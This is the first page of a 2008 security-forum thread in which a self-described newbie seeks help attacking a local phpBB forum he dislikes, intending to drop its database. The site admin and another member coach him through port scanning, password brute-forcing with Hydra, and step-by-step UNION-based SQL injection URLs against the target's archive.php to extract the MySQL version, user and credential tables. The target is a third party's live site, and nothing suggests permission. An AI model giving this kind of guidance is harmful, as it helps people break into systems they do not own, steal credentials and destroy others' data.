Waraxe IT Security Portal
Login or Register
November 15, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 62
Members: 0
Total: 62
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> Does this tell me anything useful Goto page 1, 2, 3Next
Post new topicReply to topic View previous topic :: View next topic
Does this tell me anything useful
PostPosted: Sat May 24, 2008 5:01 pm Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




Apologies for kicking in the doors and posting here unannounced. I'm looking for a bit of advice from the people here who know what they are doing!

You know how you get something in your head and you just want to beat it? Well, I've got one of those on my hands. It is an irritating local PHPBB that I would love to take down. I've pretty much covered all the bases a newbie can think of. It's PHPBB 2.0.22 without any mods - so it is done up pretty well.

A look at the neighbouring sites don't show any doors apart from one running osCommerce (but can't find anything broken on that).

The hosting is on a Linux VPS - so there is no way into that.

So, it looks like I am stuffed - unless I've missed something. However, a click on a link falls over and gives me this:

Quote:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /home/xxxxx/public_html/images.php on line 21

Warning: include(http://www.xxxxxxxx.com/images/photos/index.php) [function.include]: failed to open stream: no suitable wrapper could be found in /home/xxxxx/public_html/images.php on line 21

Warning: include() [function.include]: Failed opening 'http://www.xxxxxxxxxxx.com/images/photos/index.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxxxx/public_html/images.php on line 21


Being a newbie, I don't see anything very useful in it.

Any other approaches I can try that I've not though of?
View user's profile Send private message
PostPosted: Sat May 24, 2008 6:03 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This error message points to the fact, that php setting "allow_url_include" is "Off", so no RFI possibilities in that server.
And if that remote website's url is hardcoded (you can't control it), then it is not security hole, but just unexploitable bug.
Next, i suggest to try to find as much as possible co-located websites on that server (there are multiple ways to enumerate neighbours) and then try to look for any exploitable bug or feature. Use Acunetix or other web vuln scanners, if you don't affraid log noise. There can be websites with some half-installed applications, "secret directories", etc etc. This is your best chance. And of course you can use nmap, enumerate all TCP and UDP open ports, determine services and you never know, maybe something is breakable. Also consider dumb methods, like bruteforce against webapplications. Maybe that oscommerce admin is using username "admin" and password "letmein" Smile
You will not know that, unless you try it out Wink
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat May 24, 2008 7:21 pm Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




Thank you for the response Mr Waraxe. I feel very honored.

The osCommerce appears to be fairly out of date. I downloaded the current version to have a sniff at the layout and the 'admin' directory is missing on my target. It is a little difficult to age the install but downloading the stylesheet.css gave a date in the comments of 2003 - (the latest is 2008) so probably old and neglected. With no admin directory I am a little stuffed, but on the other hand a number of directories allow browsing. This has given me a list of modules on it, but none of those are helpful.

I'm not worried about the noise and these VPS things tend to be self managed - so I may go fairly undetected.

Nmap gives me this:
Quote:

PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
25/tcp open smtp
26/tcp open unknown
37/tcp closed time
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https - this has 'cpanel' on it but admin/admin no go
465/tcp open smtps
888/tcp closed accessbuilder
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
5190/tcp open aol
6666/tcp closed irc
8888/tcp open sun-answerbook


Checked to see if mysql allowed remote access and had no root password with:

mysql -h xxx.xxx.xxx.xxx -u root -p
and
mysql -h xxx.xxx.xxx.xxx -u root
but got:
Quote:
Access denied for user 'root'@'blah.blah.blah' (using password: NO) + YES)


I'm going to have a look at the other items you've listed and see if that can shine a light on it. Thank you for your reply sir.
View user's profile Send private message
PostPosted: Sat May 24, 2008 9:07 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




There are many ports open, so you can try ftp/pop3/imap/mysql password bruteforce. If you can guess mysql root password, then local file reading and writing will be possible.
Be sure to indentify all services versions and look for exploits. Try anonymous ftp access. Do traceroute and pinpoint target's perimeter router. Try snmp sweeping, nmap and other things against router - you never know Smile
Best options are ports 80 (web applications) and port 3306 (mysql root pass bruteforce).
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun May 25, 2008 5:39 pm Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




Thank you for your help Sir.

The Acunetix is showing one or two points of interest.

Can you recommend a brute force tool/script?
View user's profile Send private message
PostPosted: Sun May 25, 2008 5:43 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




My suggestion is Hydra:

http://freeworld.thc.org/thc-hydra/

One thing to mention - it seems to support only mysql 3.x and 4.x.
I have mysql 5.x on my local PC and hydra failed. Quick look at src code revealed the fact, that mysql 5-th. version is not (yet) supported ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun May 25, 2008 6:41 pm Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




'BRUTUS' seems to work on MYSQL5, but it is 'win' only. Your suggestion to use Acunetix has shown a couple of SQLInjection expoits. It allows '
All I am looking to do is drop all the tables (nothing more refined than that!), so how would I manipulate this?

I guess I would URL encode something like:

' OR 1=1 DROP * #

But it is a guess. I'm very new to this.
View user's profile Send private message
PostPosted: Sun May 25, 2008 6:49 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




No, in mysql you can't do such tricks. Try to use sql injection for fetching sensitive info, for example admin credentials. This can open the door to the admin interface, where file upload or something like that can be possible. But first info you need is mysql version. This should be seen via port 3306, even without successful authentication ("banner grabbing").
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun May 25, 2008 7:25 pm Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




I don't get a banner when I try and connect from a command line Sad

mysql -h xxx.xxx.xxx.xxx -u root -p
or
mysql -h xxx.xxx.xxx.xxx -u root
yields:

Access denied for user 'root'@'blah.blah.blah' (using password: NO) + YES

If I go http:xxx.xxx.xxx.xxx:3306 (don't ask, but worth a try) it tries to download a file called 'k3s9aspq.bin' - I can't open it as the character set is wrong. It perhaps means something?
View user's profile Send private message
PostPosted: Sun May 25, 2008 7:30 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




For banner grabbing just telnet to port 3306 Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 26, 2008 10:02 am Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




That's not looking so good Sad

Quote:
telnet> open xx.xxx.xx.xx 3306
Trying xx.xxx.xx.xx...
Connected to xx.xxx.xx.xx.
Escape character is '^]'.
�Host 'xx-xx-xx-xxx.xxx.xx-.....' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'Connection closed by foreign host.


Mind you, this may be much more useful if I could overcome the "/"
Quote:

http://www.xxxxxxxxxxx.xxx:80/archive.php?id=*' OR 'x'='x

Could not execute query: SELECT question, response1, response2, response3, votes1, votes2, votes3, date from poll WHERE id = *\'. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*\'' at line 1
View user's profile Send private message
PostPosted: Mon May 26, 2008 11:29 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




1. Your IP is temporarily banned from mysql access. So just wait and try again or change IP address.
2. This sql injection case does not need single quotes.
Try this:

Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+@@version,2,3,4,5,6,7,8--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 26, 2008 11:42 am Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




Initially I did not see anything - no errors. Then I notice this:

4.1.22-standard-log

Smile

Mmmm. Getting warmer????
View user's profile Send private message
PostPosted: Mon May 26, 2008 11:47 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




now just guess the database name and you can get username and passwords!

try users, usertable, user etc

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Mon May 26, 2008 11:55 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yes, as it is not version 5.x, then you can't dircetly read database schema and only way to find interesting tables and fields is guessing.
First, just in case try this:

Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+mysql.user--+


Probably you will see "access denied" message.

Next:

Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+USER(),2,3,4,5,6,7,8--+


Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+DATABASE(),2,3,4,5,6,7,8--+


And next try various table names:

Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+user--+


Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+users--+


Code:

http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+admin--+


... etc etc ...

If table does not exist, then you will see error message.
View user's profile Send private message Send e-mail Visit poster's website
Does this tell me anything useful
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 3
Goto page 1, 2, 3Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds